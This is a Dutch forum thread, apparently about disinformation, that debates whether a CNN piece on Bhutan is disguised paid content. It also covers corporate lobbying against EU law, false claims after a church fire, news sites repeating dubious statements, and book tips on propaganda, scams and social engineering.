Gross National Happiness, sometimes called Gross Domestic Happiness (GDH), is a philosophy that guides the government of Bhutan.
Wikipedia: Gross National Happiness (Bhutan is het enige land ter wereld met zo'n happyness index)

Dus zo'n artikel is vrijwel zeker niet zomaar "een mooi persoonlijk verhaal van een vrouw"; net zomin als een verhaal over iemand die in Nederland mooie tulpen en molens heeft gezien, zomaar "een mooi verhaal" is.

Dat artikel vertelt er niet bij dat je erg rijk moet zijn om als toerist überhaubt binnen te komen in Bhutan. $200 per dag toeristenbelasting, en een eenvoudige kamer in een hotel kost al $3000 per dag. Wat een tourist daar in een paar weken uitgeeft is equivalent aan wat de gemiddelde arbeider daar verdient in z'n hele leven.

The Shocking Reality Behind Bhutan’s "Perfect" Economy
https://www.msn.com/en-us...onomy/vi-AA1AmCLj#details


Daarnaast is zeer de vraag in hoeverre de Gross Domestic Happiness objectief wordt vaststelt. Bhutan heeft een hybride regime Wikipedia: Hybrid regime (incomplete democratic transition from an authoritarian regime to a democratic one). De officiële werkweek is 54 uur, overwerk is daar de norm en het kan oplopen tot 100 uur per week of meer.

Bhutan is known for prizing happiness. Its people also work longer than any other country.
https://www.businessinsid...ng-hours-in-world-2024-10
The picturesque Kingdom of Bhutan, nestled between China and India, is widely known for its unique approach to economic development — prioritizing its Gross National Happiness over GDP.
In practice, though, many Bhutanese workers have little time left for the pursuit of happiness...


En voor de inheemse bevolking van Bhutan is het alles behalve happiness, maar daarover kan ik op CNN niets vinden:

"Bhutan’s image as an otherworldly and harmonious kingdom was rocked on 20 January (2008) by coordinated bomb blasts in the capital, Thimpu, and three other locations....
Though such bombings are never justified, the alarms they sound should not be ignored. This salvo should warn the government to be inclusive in its experiment with democratization. To start, it needs to address a blot on Bhutanese history that remains unresolved.
In the late 1980s Bhutanese elites regarded a growing ethnic Nepali population as a demographic and cultural threat. The government enacted discriminatory citizenship laws directed against ethnic Nepalis, that stripped about one-sixth of the population of their citizenship and paved the way for their expulsion." https://www.hrw.org/news/2008/02/01/bhutans-ethnic-cleansing

"Ethnic cleansing in Bhutan refers to acts of violence to remove the Lhotshampa, or ethnic Nepalis, from Bhutan." Wikipedia: Ethnic cleansing in Bhutan

"Gross National Happiness has been described by critics as a propaganda tool used by the Bhutanese government to distract from ethnic cleansing and human rights abuses it has committed.[58][59]" Wikipedia: Gross National Happiness

[Stukfruit]

En je kan voor zover ik weet ook niet zonder "accredited tour operator" (zie lijst) als toerist door het land heen gaan. Je mag geen auto huren zonder chauffeur en hoewel de operator "recommended" is mag je alleen op eigen initiatief shoppen en een restaurant induiken.

Ik kan zo snel even geen betere bron vinden dan deze, maar het land staat er om bekend dat je er niet op eigen houtje doorheen zou mogen reizen.

Maar goed, het ging er dus om dat dit soort werk niet thuishoort op een serieuze nieuwssite. En al helemaal niet zonder transparant te zijn over of en wie betaalt.

[Fornoo]

Stukfruit schreef op dinsdag 20 mei 2025 @ 20:13:
Nou, daar kan ik wel een boekje over opendoen.

Want beste @Fornoo, het is inmiddels bekend dat je zaken van meerdere kanten wil bekijken, maar heb je al eens overwogen dat mensen onder ons met kennis uit de industrie weten (dus niet alleen denken) dat het geen "echte" content is?

Rond 2015 - 2016 is o.a. CNN begonnen met het overstappen op native advertising omdat o.a. bannerinkomsten steeds verder omlaag gingen. Dat is een mooi woord waar je positieve kriebels van kunt krijgen, maar het is niets meer dan "advertentie zonder label": een grijs vlak waarin de randjes van geldende wetgeving worden opgezocht om maar niet te hoeven tonen dat iets eigenlijk betaald is. Zeker zodra het gaat om de variant die ook wel bekend staat als "content marketing", waar we het hier over hebben.

Er zijn verschillende afdelingen voor opgericht die zich geheel op (bannervrij) adverteren richten.
Voor het artikel hierboven kun je bijvoorbeeld terecht bij afdelingen zoals CNN TASK. Breng een zak geld mee en Bob's your uncle. Geloof je het niet? Check het begin van de reis zoals omschreven door CNN zelf:

[...]


Terug naar het artikel: de schrijver (keywords: branded content, seo, enz. het is haar specialiteit) doet exclusief aan dit soort artikelen ipv nieuwsvergaring, verslaggeving of verkenning en er wordt duidelijk gelinkt naar haar boeken:

[...]


TL;DR: het is nonsens en "goh, wat een mooi persoonlijk verhaal van deze vrouw" is eigenlijk een combinatie van verkapte boekverkoop en landpromotie.

Je ziet zelf hopelijk ook dat zoiets mogelijkheden geeft. RT is er inmiddels voor gebanned in Europa.

Natuurlijk kun je RT niet direct naast CNN zetten. Het geeft echter wel een opening voor "een ander perspectief" zonder journalistieke controle. En zoals je ook ziet krijgt dat een plek op de frontpage zonder enige transparantie.

@Brent Ik kijk niet zo vaak meer in het forum.

@Stukfruit Ik kijk de zaak vanuit mijn kant. Jij ook. Dus je kunt me proberen in een hoekje te schuiven, bijvoorbeeld dat ik goedgelovig ben. Allemaal waardeoordelen waar ik eerlijk gezegd niets om geef.

Zou het betreffende stukje over Butan meer kunnen zijn dan louter een persoonlijk verhaal? Natuurlijk! Ook bij CNN moet de schoorsteen roken, en is betaalde content een verdienmodel.

Dat jullie hiervan kriebels krijgen geloof ik ook. Ik niet. Een land kan nog zo'n verrot systeem hebben, er kunnen tegelijk ook mooie verhalen gevonden worden. Dat het betaalde content is, zal de doelgroep een worst wezen. Die leest waarschijnlijk net zo makkelijk een romannetje. Daar krijg ik ook de kriebels van, maar ik kan me goed voorstellen dat er mensen zijn die het leuk vinden.

Kom je toch weer een beetje uit op het gegeven dat de gemiddelde poster in dit forum houdt van harde feiten. Terwijl het gros van de mensen ook graag van dromen houdt.

[Amphiebietje]

Ik geloof dat we binnenkort Google geheel kunnen afschaffen als bron van betrouwbare links:

https://www.theguardian.c...ine-developers-conference

In elk geval in de VS wordt het gebruik van AI voor zoekresultaten opgedrongen aan alle gebruikers. Het artikel suggereert dat Google er op vertrouwt dat hun technologie betrouwbare resultaten levert, maar waarschijnlijker is dat ze weten dat ze in de VS onder Trump weg kunnen komen met AI-gegenereerde bullshit.

[Stukfruit]

Amphiebietje schreef op woensdag 21 mei 2025 @ 07:56:
Ik geloof dat we binnenkort Google geheel kunnen afschaffen als bron van betrouwbare links:

https://www.theguardian.c...ine-developers-conference

In elk geval in de VS wordt het gebruik van AI voor zoekresultaten opgedrongen aan alle gebruikers. Het artikel suggereert dat Google er op vertrouwt dat hun technologie betrouwbare resultaten levert, maar waarschijnlijker is dat ze weten dat ze in de VS onder Trump weg kunnen komen met AI-gegenereerde bullshit.

Eigenlijk ben ik niet eens bang voor de "AI"-slop die ze produceren omdat het een wrapper lijkt te zijn om de SEO-slop die ze al een stuk langer hebben

Kijk de voorbeelden er maar eens op na. Dan krijg je een lange lijst met wol tekst waar je niets mee kan omdat het met meer woorden omschrijft wat je zelf hebt gevraagd en daarna komt het met een lijstje SEO-resultaten

Hier bijvoorbeeld. Het is een papegaai die in SEO poept.

[ Voor 7% gewijzigd door Stukfruit op 21-05-2025 17:26 ]

[Stukfruit]

Fornoo schreef op woensdag 21 mei 2025 @ 07:50:
[...]

@Stukfruit Ik kijk de zaak vanuit mijn kant. Jij ook.

Nee, niet echt eigenlijk.

Zou het betreffende stukje over Bhutan meer kunnen zijn dan louter een persoonlijk verhaal? Natuurlijk! Ook bij CNN moet de schoorsteen roken, en is betaalde content een verdienmodel.

Dat jullie hiervan kriebels krijgen geloof ik ook. Ik niet. Een land kan nog zo'n verrot systeem hebben, er kunnen tegelijk ook mooie verhalen gevonden worden. Dat het betaalde content is, zal de doelgroep een worst wezen. Die leest waarschijnlijk net zo makkelijk een romannetje. Daar krijg ik ook de kriebels van, maar ik kan me goed voorstellen dat er mensen zijn die het leuk vinden.

Kom je toch weer een beetje uit op het gegeven dat de gemiddelde poster in dit forum houdt van harde feiten. Terwijl het gros van de mensen ook graag van dromen houdt.

We hebben het hier alleen niet over de Story of Privé voor de mooie dromen, maar een partij die pretendeert serieus en transparant nieuws te brengen.

Dit topic gaat trouwens ook niet over die dromen en wel over het aan de kaak stellen en/of aanpakken van bewust foutieve informatie.

[Fornoo]

Stukfruit schreef op woensdag 21 mei 2025 @ 08:50:
[...]


Nee, niet echt eigenlijk.


[...]


We hebben het hier alleen niet over de Story of Privé voor de mooie dromen, maar een partij die pretendeert serieus en transparant nieuws te brengen.

Dit topic gaat trouwens ook niet over die dromen en wel over het aan de kaak stellen en/of aanpakken van bewust foutieve informatie.

Je kunt niet anders dan de wereld door je eigen ogen bekijken. Leuk geprobeerd om een soort van objectiviteit te claimen, omdat je uit de industrie komt. Voor mij ben je net zo menselijk als de rest. Ik ben niet objectief, zou ik ook nooit (weer) willen zijn.

PS: Je komt zelf met een artikel op CNN. CNN is een commerciële zender. Aan het einde van de dag moet er geld verdient worden. Als jij CNN geen betrouwbare zender meer vind, is dat je goed recht. Ik vind het prima dat je probeert om des- en misinformatie te blokkeren. Tegelijk laat ik me niemand vertellen welke informatie ik wel of niet tot me zou mogen nemen. Niemand. Nooit. Het werkt averechts en ik weet zeker dat het gros van de mensen er zo over denkt.

[ Voor 3% gewijzigd door Fornoo op 21-05-2025 14:35 ]

[BadRespawn]

Fornoo schreef op woensdag 21 mei 2025 @ 14:33:
[...]


Ik vind het prima dat je probeert om des- en misinformatie te blokkeren. Tegelijk laat ik me niemand vertellen welke informatie ik wel of niet tot me zou mogen nemen.

Waarop baseer je het idee dat iemand probeert je te vertellen welke informatie je wel of niet tot je zou mogen nemen, of dat iemand probeert die informatie te blokkeren?

Niemand hier heeft gezegd 'daar mag je niet naar kijken/niet lezen', er wordt wel kritiek geuit tav bepaalde artikelen/bronnen. Het komt over alsof je die kritiek opvat als en poging tot verbod.

"Niet mogen" en "blokkeren" zijn dwangmiddelen. Wat mij betreft is dwang niet het juiste middel, het juiste middel is om dmv argumenten te overtuigen.
Jij probeert toch ook dmv argumenten te overtuigen? Ik vat dat niet op als poging van jou om mij te dwingen iets wel of niet te doen.

[Fornoo]

Nu doe je net alsof er geen industrie (niet mijn woord, maar die van Stukfruit) bestaat met de intentie om informatie te 'sturen'. Laat ik het woord filteren niet gebruiken.

Dat het er nog niet is, betekend niet dat er geen mensen zijn die die industrie met overtuiging steunen. Ik schaar jou bij die groep. Dat beeld kun je bij mij niet snel uitwissen. Corona heeft een hoop vertrouwen stuk gemaakt. Er zijn mensen die controle over anderen willen hebben. Dan bedoel ik niet de wens om mensen te beschermen, maar pure rauwe controle. Een corona was simpelweg datgene wat dat aan het licht bracht.

[BadRespawn]

Fornoo schreef op woensdag 21 mei 2025 @ 18:22:
Nu doe je net alsof er geen industrie (niet mijn woord, maar die van Stukfruit) bestaat met de intentie om informatie te 'sturen'. Laat ik het woord filteren niet gebruiken.

Dat het er nog niet is, betekend niet dat er geen mensen zijn die die industrie met overtuiging steunen. Ik schaar jou bij die groep.

Er is natuurlijk de Public Relations industrie die niet alleen probeert maar er ook in slaagt om informatie te 'sturen'. Ik doe zeker niet alsof die niet bestaat.
De PR industrie wordt ingehuurd door grote industriële- en politieke/nationale belangen, bvb om Bhutan in een positief daglicht te plaatsen, en in het algemeen de kwalijke kanten van kapitalisme te verdoezelen.

Dat is compleet tegengesteld aan wat ik betoog, dus het is onduidelijk hoe je er bij komt dat ik die industrie steun.

[Fornoo]

Ik lees mijn vorige stukje door en zie dat het inderdaad interpretabel is zoals jij hebt beantwoordt.

Ik bedoelde inderdaad het tegenovergestelde van wat jij denkt dat ik schreef. Lees nog een keer goed door met deze gedachte.

[BadRespawn]

Fornoo schreef op woensdag 21 mei 2025 @ 20:42:
Ik lees mijn vorige stukje door en zie dat het inderdaad interpretabel is zoals jij hebt beantwoordt.

Ik bedoelde inderdaad het tegenovergestelde van wat jij denkt dat ik schreef. Lees nog een keer goed door met deze gedachte.

Als je met

industrie (niet mijn woord, maar die van Stukfruit) bestaat met de intentie om informatie te 'sturen'. Laat ik het woord filteren niet gebruiken.
Dat het er nog niet is, betekend niet dat er geen mensen zijn die die industrie met overtuiging steunen. Ik schaar jou bij die groep.

niet bedoelt dat je mij schaart bij de groep mensen die een industrie steunen die de intentie heeft om informatie te 'sturen', dan kan je het beter zelf nog eens uitleggen.

[Fornoo]

Nee ik dwaal af. Mijn punt ging om het artikel op de website van CNN.

[defiant]

Longread:
Why Good Ideas Die Quietly and Bad Ideas Go Viral

A new book, “Antimemetics: Why Some Ideas Resist Spreading,” argues that notions get taken up not because of their virtue but because of their catchiness.

The logic of the internet was simple: first, fire all of the managers; then, sort things out for ourselves. In the time since, one of the few unambiguously good things to have emerged from this experiment is an entire genre of attempts to explain why it mostly hasn’t worked out.

The internet was not primarily a channel for the transmission of information in the form of evidence. It was better described as a channel for the transmission of culture in the form of memes. Users didn’t field a lot of facts and then assemble them into a world view; they fielded a world view and used it as a context for evaluating facts.

It was simply that, when people who once functioned on a need-to-know basis were all of a sudden forced to adjudicate all of the information all of the time, the default heuristic was just to throw in one’s lot with the generally like-minded

This is the animating contrast of Asparouhova’s new book, “Antimemetics: Why Some Ideas Resist Spreading,” published with Yancey Strickler’s Dark Forest Collective. She has devoted her attention, as she puts it in the introduction, to the behavior of “ideas that resist being remembered, comprehended, or engaged with, despite their significance.””

As she puts it, “Our inability to make progress on consequential topics can be at least partly explained by the underlying antimemetic qualities that they share—meaning that it is strangely difficult to keep the idea top of mind.” These antimemes are crowded out by the electric trivia of online signalling: “As memes dominate our lives, we’ve fully embraced our role as carriers, reorienting our behavior and identities towards emulating the most powerful—and often the most primal and base—models of desire. Taken to the extreme, this could be seen as a horrifying loss of human capacity to build and create in new and surprising ways.”

Asparouhova’s basic intuition is that both of the prevailing theories of information on the internet (either that it had to be sanitized and controlled or that it was simply natural for it to remain perennially downstream of charisma) have been wrong. It was foolish to hope that the radical and anarchic expansion of the public sphere—“adding more voices to a room”—would prove out our talent for collective reasoning.

From Asparouhova’s perspective, the lesson we should draw is not that bad ideas should in fact be suppressed but that good ideas require the trussing of sturdy, credible institutions—structures that might withstand the countervailing urge to raze everything to the ground.

De premisse is dus dat het internet in haar huidige vorm vooral het propageren van meme's stimuleert, aangezien die aansluiten bij de manier van omgang van de meeste mensen met informatie. Bijna niemand doet wetenschappelijk onderzoek naar claims, maar sluit zich aan bij wat de eigen in-group vind of past bij een eerder gevormd wereldbeeld. Niet op z'n minst omdat mensen er ook gewoon geen tijd voor hebben,

Weldoordachte bewezen ideeën, theorieën, best practices, etc die vaak redelijke complex zijn en niet zwart/wit hebben niet de eigenschap die meme's hebben. Er gebeurd het tegenovergestelde, zulke ideeën zijn op het internet resistent tegen wijde verspreiding.

En dat gaat in tegen de oorspronkelijke premise van het internet die populair was in tech/hacker kringen in de jaren 90/00, d.w.z. als je iedereen maar toegang geeft om zelf informatie te verkrijgen en te verwerken zal dat leiden tot goed geïnformeerde bevolking die het heft in eigen handen komen nemen, wat de ultieme democratisering zou zijn van de burgerbevolking. Dit bleek achteraf natuurlijk een illusie.

Wat we hierdoor weer opnieuw leren is waarom je in een democratie instituties hebt zoals bureaucratie, journalistiek en academia. Je wilt dat goede en bewezen ideeën geïnstitutionaliseerd worden zodat die juist resistent zijn tegen de invloed van kortzichtige meme's.

[Qwerty-273]

Nu gaat het mij niet om de huidige situatie waar de onderstaande brief over gaat. Wel een duidelijk voorbeeld waar de politiek / de staat beperkingen oplegt voor de journalistiek / de media. Vooral dat de regionale media eigenlijk haast alles langs een censorship review moet laten gaan. Daarmee zet je de weg wel direct open naar alle neuzen dezelfde kant op berichtgeving, of je mag het niet publiceren. Je beschermt het medialandschap wellicht van invloeden van buitenaf maar stuurt al heel snel naar een regime spreekpop zonder journalistiek weerwoord.

[Brent]

Dat is defacto al sinds 7 oktober zo in Israel: er is nauwelijks coverage van de Palestijnse kant, de doden aldaar (meer dan in het conflict in Oekraine). En buitenlandse bronnen, zenders, zijn geloof ik geblocked of gecensureerd. Dat je rondom militaire objecten in oorlogstijd niet zomaar mag filmen, eigenlijk had ik verwacht dat dat permanent beleid zou zijn daar (is dat niet eigenlijk hier ook nog steeds zo dat je eigenlijk bijv. geen stations mag filmen?).

[Brent]

Een interessant onderzoek dat uiteenzet hoe een paar Amerikaanse grote bedrijven de Europese wetgeving omtrent mensenrechten en klimaat weten te ondermijnen. Dat op zich is natuurlijk ernstig, maar ik vind de behandeling van de methoden nog net iets interessanter, omdat je ze vaak terug ziet komen, maar uiteraard nooit zo netjes 'bewezen'.

quote: https://www.somo.nl/the-s...n-rights-and-climate-law/

Leaked documents reveal how a secretive alliance of eleven companies, including Chevron, ExxonMobil, and Koch, Inc., has worked under the guise of a “Competitiveness Roundtable” to get the Corporate Sustainability Due Diligence Directive (CSDDD) either scrapped or massively diluted.

The companies, most of which are headquartered in the US and operate in the fossil fuel sector, aimed to “divide and conquer in the Council”, sideline “stubborn” European Commission departments, and push the European People’s Party (EPP) in the European Parliament “to side with the right-wing parties as much as possible”.

Chevron and ExxonMobil were in charge of mobilising pressure against the CSDDD from non-EU countries. The Roundtable companies endeavoured to get the CSDDD high on the agenda of the US-EU trade negotiations and also worked on mobilising other countries against the CSDDD, in order to disguise the US influence.

Roundtable companies paid the TEHA Group – a think tank – to write a research report and organise an event on EU competitiveness, which echoed the Roundtable’s position and cast doubt on the European Commission’s assessment of the economic impact of the CSDDD.

Het leest als een oorlogsplan, maar dan niet op een landkaart, maar op een org-chart. Het meest in het oog springt mij het gebruik van de EPP, waar het CDA in zit. Een patroon dat we ook nationaal terug zien: CDA als instrument van specifieke belangen. Kennelijk is men ontvankelijk voor meer dan christelijke kerk.

De moeite waard eens door te nemen om te mechaniek van misinfo campagnes in werking te zien, en ook effect te zien sorteren.

[Stukfruit]

Laat gelijk zien waarom je de mogelijkheid tot perverse prikkels sowieso ook serieus moet nemen.

[Sandor_Clegane]

Een sloot aan nieuwe prikkels: https://responsiblestatecraft.org/trump-corollory/

When nightfall came, these longshot gamblers miraculously won big, though not because Russia took the town (as of writing, Ukraine is still fighting for Myrnohrad). Instead, it was because of an apparent intervention by a staffer at the Institute for the Study of War (ISW), a D.C.-based think tank that produces daily interactive maps of the conflict in Ukraine that Polymarket often relies on to determine the outcome of bets placed on the war.

According to tech outlet 404 Media, just before the market was resolved, someone at ISW edited its map to show that Russia had taken control of a key intersection in the town, despite the lack of indications that Russia had made any such advance. After Polymarket had paid out the winners of the bet, ISW’s edit mysteriously disappeared by the following morning.

Ik heb er geeneens woorden voor.

[Fornoo]

Brent schreef op vrijdag 5 december 2025 @ 13:01:
Een interessant onderzoek dat uiteenzet hoe een paar Amerikaanse grote bedrijven de Europese wetgeving omtrent mensenrechten en klimaat weten te ondermijnen. Dat op zich is natuurlijk ernstig, maar ik vind de behandeling van de methoden nog net iets interessanter, omdat je ze vaak terug ziet komen, maar uiteraard nooit zo netjes 'bewezen'.


[...]


Het leest als een oorlogsplan, maar dan niet op een landkaart, maar op een org-chart. Het meest in het oog springt mij het gebruik van de EPP, waar het CDA in zit. Een patroon dat we ook nationaal terug zien: CDA als instrument van specifieke belangen. Kennelijk is men ontvankelijk voor meer dan christelijke kerk.

De moeite waard eens door te nemen om te mechaniek van misinfo campagnes in werking te zien, en ook effect te zien sorteren.

Mijn inziens leven we in een oligarchie dus zo heel schokkend zou dit niet moeten zijn. Dit is niets nieuws, dit is hoe de wereld werkt mijns inziens. Dit soort zaken zijn uiteraard niet tot moeilijk bewijsbaar. Maar als je ziet waar de grote jongens mee wegkomen is het 1+1=2.

[NiGeLaToR]

Op verschillende accounts op X, sommigen met meer dan een miljoen volgers, werd gedeeld dat de brand zou zijn aangestoken door moslims. Het zou een 'aanslag zijn op de Europese, christelijke gemeenschap'.

Wereldwijd veel desinformatie over brand kerk Vondelpark

Jelle Postma, oud AIVD, is verbonden aan een stichting die onderzoek doet naar desinformatie.

Zijn stichting deed onderzoek naar de desinformatie die online werd verspreid. De eerste valse berichten verschenen al enkele minuten na de brand. Al gauw werden dat er 350 per uur.

De alt right aanhang, of het nu de altijd liegende Vlaardingerbroek of onzin spuiende Dagelijkse Standaard, had minuten na her uitbreken van de brand al een conclusie en een dader. Of daders, moslims én een linkse elite.

Nederland wordt afgeschilderd als oorlogsgebied, op basis van een drietal branden, in een weekend tijd, in een land met 18 miljoen inwoners.
Maar dan zet je het weg als ‘incidenten’ en geen aanval op ons land. Een aanpak als die van Trump wordt erbij gehaald, want law and order, dat is het hondenfluitje.

[Stukfruit]

Extreemrechts blijft oude pogingen herhalen, zullen we maar zeggen.

Wat dat betreft zijn ze redelijk voorspelbaar. Het is niet eens een nieuw verhaal.

[NiGeLaToR]

Stukfruit schreef op donderdag 22 januari 2026 @ 08:04:
Extreemrechts blijft oude pogingen herhalen, zullen we maar zeggen.

Wat dat betreft zijn ze redelijk voorspelbaar. Het is niet eens een nieuw verhaal.

Het wrange is dat het werkt.

Ben wel blij met dit thema in het nieuws: al vangt de groep die het moet horen dit niet op, die hebben zich al lang geïsoleerd.

[NiGeLaToR]

Discussiepunt: nieuwsitems op basis van verklaringen die nergens op slaan. Gewoon overnemen of als redacteur kritischer zijn op wat er wordt gecopy paste?

Uit feedback topic:

nieuws: TikTok VS zegt dat 'censuur' bij content over Epstein en Trump kwam door storing

ik snap het argument dat het nu eenmaal de reactie is van in dit geval TikTok, toch dragen we we ook bij aan verspreiding en legitimiteit van onzin. Stel dat het tiktok verhaal plausibel is, prima, pak een ander voorbeeld. Genoeg te vinden anno nu.

[Stukfruit]

Zie ook voor de inzet van die legitimering (misschien niet verkeerd bedoeld, dus zie dit svp niet als aanval ):

Stukfruit in "[ZT] Trump II en de Amerikaanse politiek - deel II"

[ Voor 19% gewijzigd door Stukfruit op 28-01-2026 08:33 ]

[Gonadan]

NiGeLaToR schreef op woensdag 28 januari 2026 @ 08:09:
Discussiepunt: nieuwsitems op basis van verklaringen die nergens op slaan. Gewoon overnemen of als redacteur kritischer zijn op wat er wordt gecopy paste?

Uit feedback topic:

nieuws: TikTok VS zegt dat 'censuur' bij content over Epstein en Trump kwam door storing

ik snap het argument dat het nu eenmaal de reactie is van in dit geval TikTok, toch dragen we we ook bij aan verspreiding en legitimiteit van onzin. Stel dat het tiktok verhaal plausibel is, prima, pak een ander voorbeeld. Genoeg te vinden anno nu.

Je hebt nieuws en opinie. In dit geval is er niet zoveel feitelijks te vertellen naast de verklaringen. Voor de stelling dat het verklaringen nergens op slaan is weinig bewijs te leveren, hooguit een (niet heel onlogisch) onderbuikgevoel.
Maar zou je dan willen dat een redacteur artikelen op die onderbuik gaat schrijven? In dit geval past het dan toevallig in je straatje, maar over het algemeen wordt het nieuws daar niet beter van toch?

Hooguit zou je kunnen stellen dat het op zijn plaats is om een noot te plaatsen over dat er veel wantrouwen is onder de ontvangers van het nieuws, maar dan nog, het blijft een vermoeden.

[NiGeLaToR]

@Gonadan klopt, heb helaas geen bewijs gevonden over dit specifieke voorbeeld. In andere gevallen zie je journalisten ermee stoeien, krijg je ‘aldus die of die’ en mag je zelf kiezen welke waarde je er aan hangt. Of staat erbij ‘er werden geen bewijzen geleverd voor de bewering’.

Mijn punt is vooral dat repliceren van pertinente leugens een belangrijke versterker van desinformatie is. Maargoed, dit voorbeeld is niet die categorie. Wellicht kom ik binnenkort wat beters tegen, al blijft m’n punt evengoed staan.

[Gonadan]

Het gaat allemaal om hoe je het repliceert in mijn optiek. Wat ik al zei, het totaal niet behandelen kan juist te veel ruimte bieden aan media die het wel kritiekloos willen verspreiden. Er dan toch aandacht aan besteden maar mét kritische noot kan dan mogelijk toch te verkiezen zijn boven er helemaal niet over schrijven. Dat hangt er ook maar weer helemaal van af of en hoe andere media het oppakken.

Mocht je een goed voorbeeld tegen komen dan ben ik wel benieuwd.

[Jerie]

Fornoo schreef op woensdag 21 mei 2025 @ 14:33:
[...] Tegelijk laat ik me niemand vertellen welke informatie ik wel of niet tot me zou mogen nemen. Niemand. Nooit. Het werkt averechts en ik weet zeker dat het gros van de mensen er zo over denkt.

*knip*, dat hoeft niet zo op de persoon.

[ Voor 53% gewijzigd door NMH op 15-02-2026 18:31 ]

[Jerie]

Fornoo schreef op woensdag 21 mei 2025 @ 14:33:
[...] Ik vind het prima dat je probeert om des- en misinformatie te blokkeren. Tegelijk laat ik me niemand vertellen welke informatie ik wel of niet tot me zou mogen nemen. Niemand. Nooit. Het werkt averechts en ik weet zeker dat het gros van de mensen er zo over denkt.

Dat gaat propaganda, kundige Mallory, enz. niet stoppen.

Die spelen een long game. Roepen bijvoorbeeld censuur!!, bijv. hun agenda te normaliseren. Terwijl iedereen een spamfilter gebruikt. Mensen gebruiken een vorm van anti-malware software (al dan niet in OS gebakken). 33% van de WWW gebruikers schijnt een adblocker te gebruiken. Men gebruikt een firewall (en spielerei zoals NAT, UPnP, ...). Ieder forum kent moderatie (zie de post boven deze), en bad actors, belangen, scopes & boundaries, enz. Iedere website heeft ook limited content waarbij een redactie bepaald wat er wel of niet te lezen is, de prioriteit, wat wordt uitvergroot, wat naar de achtergrond wordt geschoven (denk aan de shadowban). Al in de tijd van begin Internet (toen je het nog met een hoofdletter schreef ) had je al kill files voor Usenet.

Dat heeft allemaal invloed op wat je te zien krijgt, soms op grote schaal, en soms voor grotere groepen. Trollenlegers, big data, en ML/AI speelt hier op in. Tegenwoordig is dat geraffineerder, en qua recente geschiedenis zijn de keren dat het lukt minder gedocumenteerd dan de (slechte) fails. Daardoor ontstaat een bias; overconfidence.

Richard Stallman weigerde in de vorige eeuw een user account met wachtwoord te gebruiken omdat een wachtwoord andere medegebruikers uit zou sluiten. Maar dat is een geheel andere tijd, en niet hoe AAA werkt.

Dus ja, iedereen laat zich vertellen wat diegene te zien krijgt. Degenen die hard roepen dat ze zich dat niet laten zeggen: 'not knowingly'... maar, dat is semantiek.

Het is alsof iemand zegt: mij gaan ze niet manipuleren (of hacken). Vervolgens neemt diegene maatregelen om niet gemanipuleerd (of gehackt) te worden, en dan waant diegene zich veilig. Terwijl het een constant gevecht is, met veel radertjes en afhankelijkheden (we zijn immers een samenleving). Dat gevecht: meerdere lagen van manipulatietactieken (of hacktechnieken). Mensen die zich veilig wanen zijn juist de uitstekende marks. Of het nou gaat om social engineering, andere vormen van hacking, oplichting, of manipulatie middels propaganda.

Elon Musk is op deze tour ook in Poetin's web gevallen, en ik heb aanwijzingen ingezien waaruit lijkt dat hij getarget is. Het probleem is met name dat die aanwijzingen de omvang niet lieten zien. Zo is er ook bewijs dat Baudet amplification heeft toe kunnen passen op content, maar dat is dan specifiek gebleken en je weet niet wie de opdracht gaf (daar kun je wel vermoedens over hebben).

Je hebt hier uitstekende boeken over.

De Mannen Van Poetin over hoe de netwerken in Rusland werken. Rusland is eigenlijk een gigantisch crimineel paradijs met een natiestaat als façade. Ook het verdeel en heers dat de SU in de Bloodlands met succes in uitvoer bracht, is relevant, omdat Rusland nog steeds hetzelfde trucje --met succes-- toepast, maar dan digitaal.

Het ironische in deze kwestie is dat als je bereid bent wat cryptocurrency uit te geven, je daarmee alles van iedere Rus te weten kunt komen op darknet. Ook van medewerkers van overheid. Je kunt dus hun eigen cultuur tegen hen gebruiken. De Bulgaarse journalist Christo Grozev (gelieerd aan Belllingcat en The Insider) maakte daar zijn hobby van, is ook een van de onderzoekers m.b.t. MH17. De kwestie MH17 is wat mij betreft voor iedere Nederlander een haakje voor een leermoment in deze.

The Confidence Game is en blijft wat mij betreft het beste boek over de geschiedenis van oplichting in de meatspace, plus uitstekende uitleg hoe het te werk gaat. Niet alleen komen alle vormen van (fysieke) oplichting ter sprake, ook de terminologie wordt haarfijn uitgelegd, door een Russische Amerikaan met Harvard credentials die ook een aardig potje kan pokeren (Konnikova). Voor wie liever luistert: in 2017 maakte ze over diverse con artists de podcast The Grift. Het hoofdstuk en de aflevering over Ferdinand (Fred) Demara is een boek waardig. Vb: de man deed zich voor als chirurg in de US navy en is er mee weggekomen.

Qua social engineering is Mitnick nog steeds relevant (Ghost in the Wires), vooral omdat je het vanuit zijn perspectief meemaakt, en hij kundig daarin is (qua hacking was hij voor '90s begrippen al matig) maar ik heb over social engineering ook een recenter, prima boek over gelezen met drogere content waar ik nu even niet op ga komen. Het is in relatie tot digitaal not my cup of tea.

Boeken over topcriminelen op internet zijn hoe dan ook interessant in deze context. Het verhaal over de internetcrimineel Paul Le Roux, in The Mastermand van Evan Ratliff, of The Kingpin over de carder Max Butler alias Iceman zijn slechts twee voorbeelden. Le Roux speelde een long game, en zette zelfs lokale apothekers onder druk om mee te werken aan zijn gigantische imperium (de 'need RX' spam van jaren '00 kun je aan hem toeschrijven), ook deed meneer al aan FDE voor het gangbaar was (programmeur van voorganger TrueCrypt, en waarschijnlijk ook een drijvende financier achter TrueCrypt). Ook Brian Krebs exposed met regelmaat criminele internet-netwerken.

Ook de kwestie over Cambridge Analytica heb ik een aardige documentaire over gezien met een insider aan het woord. Hoewel qua IT inmiddels alweer een relatief oudere case is van massale (doch dankzij big tech targeted) beïnvloeding, is ze politiek relevant. Docu te zien op Netflix.

Qua IT security breed komen veel good & bad guise () voorbij in de podcast Darknet Diaries. Ook Modderkolk's Schaduwoorlog brengt relevante onderwerpen aan het licht.

En dan nog even een opmerking. Er zijn mensen, die houden van een uitdaging. Als je tegen ze zegt: dit gaat je niet lukken, dan werkt dat als een rode lap. Ik heb orgs meegemaakt die hetzelfde beweerden qua beveiliging. Dan demonstreer je een lek, iets simpels zoals bijvoorbeeld het pasjessysteem, of je weet een implant te installeren (die er vervolgens een maand niets doet), om te bewijzen dat het kan. En dan komen alle drogrederingen waarom ze dat niet gaan oplossen. Om die reden wil je als consultant de boel goed aan de tand voelen, een rapport schrijven met aanbevelingen, en wegwezen, volgende klant. Er gaan altijd lekken niet gevonden worden, en er gaan altijd zaken in het rapport inadequaat worden aangepakt. Alleen al het financiële plaatje kan al een probleem zijn, ook in het zogenaamd rijke Nederland. Toch is daar niet per definitie sprake van malicious intent. Men moet roeien met de riemen die men heeft.

[Fornoo]

Bedankt voor je uitvoerige info.

